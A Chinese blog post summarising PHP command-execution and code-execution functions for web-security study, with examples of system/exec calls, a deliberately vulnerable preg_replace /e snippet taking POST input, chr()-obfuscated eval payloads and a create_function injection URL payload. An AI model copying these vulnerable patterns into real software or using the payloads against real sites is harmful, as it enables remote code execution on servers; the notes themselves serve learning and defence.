php的命令执行函数总结
参考文章PHP中常见的命令执行函数与代码执行函数_命令执行类似eval的有那些函数-CSDN博客
以下是 PHP 中常用的命令执行函数总结,以及哪些可以直接执行系统命令如 ipconfig:
一、PHP 命令执行函数分类
1. 直接执行系统命令的函数
这些函数可以直接调用系统命令,可执行 ipconfig等外部程序。
| 函数 | 说明 | 是否可执行 ipconfig |
|---|---|---|
system() |
执行外部命令并显示输出 | 是 |
passthru() |
执行外部命令并直接输出原始结果 | 是 |
exec() |
执行外部命令,可返回最后一行或全部输出 | 是 |
shell_exec() |
执行命令并通过字符串返回完整输出 | 是 |
反引号 command |
同 shell_exec()的简写形式 |
是 |
proc_open() |
高级进程控制,可处理输入/输出流 | 是 |
popen() |
打开进程文件指针,用于管道操作 | 是 |
例如:
system("ipconfig");
passthru("ipconfig");
echo exec("ipconfig", $output, $return_var);
echo shell_exec("ipconfig");
echo `ipconfig`;
(1)exec
exec("whoami");可以直接执行
$ip="whoami";exec($ip,$result);var_dump($result);可以执行并且以数组打印在浏览器上面
2. 代码执行函数(也可用于命令执行)
这些函数主要用于执行 PHP 代码,但可通过技巧执行系统命令。
| 函数 | 说明 | 是否可执行 ipconfig |
|---|---|---|
eval() |
执行字符串中的 PHP 代码 | 间接可执行(如 eval("system('ipconfig');")) |
assert() |
断言检查,可执行代码(PHP 7.2+ 默认不再执行字符串) | 可(但需配置) |
create_function() |
创建匿名函数(已废弃) | 可(通过代码构造) |
preg_replace()+ /e修饰符 |
执行替换(PHP 5.5+ 废弃) | 可(旧版) |
(1)preg_replace
preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
即如果在表达式末尾加上一个e,则第二个参数就会被当成php代码来执行
<?php
preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。
#phpinfo();
cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
或不转化
cmd=eval(phpinfo())
(2)PHP 的 Curly Syntax 也能导致代码执行,它将执行花括号间的代码,并将结果替换回去
<?php
$var = "aaabbbccc ${`ls`}";
?>
<?php
$foobar = "phpinfo";
${"foobar"}();
?>
(3)create_function()
适用范围:PHP 4> = 4.0.1,PHP 5,PHP 7,从PHP 7.2.0开始,create_function()被废弃
功能:根据传递的参数创建匿名函数,并为其返回唯一名称。
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
例题:
<?php
$id=$_GET['id'];
$str2='echo '.$a.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
echo "<br/>";
echo "=============================="
payload:
http://fx.com/create2.php?id=;};phpinfo();//
上面的匿名函数即为:
<?php
//常规方法
function func($a){
echo $a . 'test' . $_GET['id'] . ';';
}
//create2.php?id=;};phpinfo();// 注入后的代码
function func($a){
echo $a . 'test';}
phpinfo();//' . ';' //形成代码注入
}
特别看到$a('', $b);就条件反射肯定是create_function
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20627210

浙公网安备 33010602011771号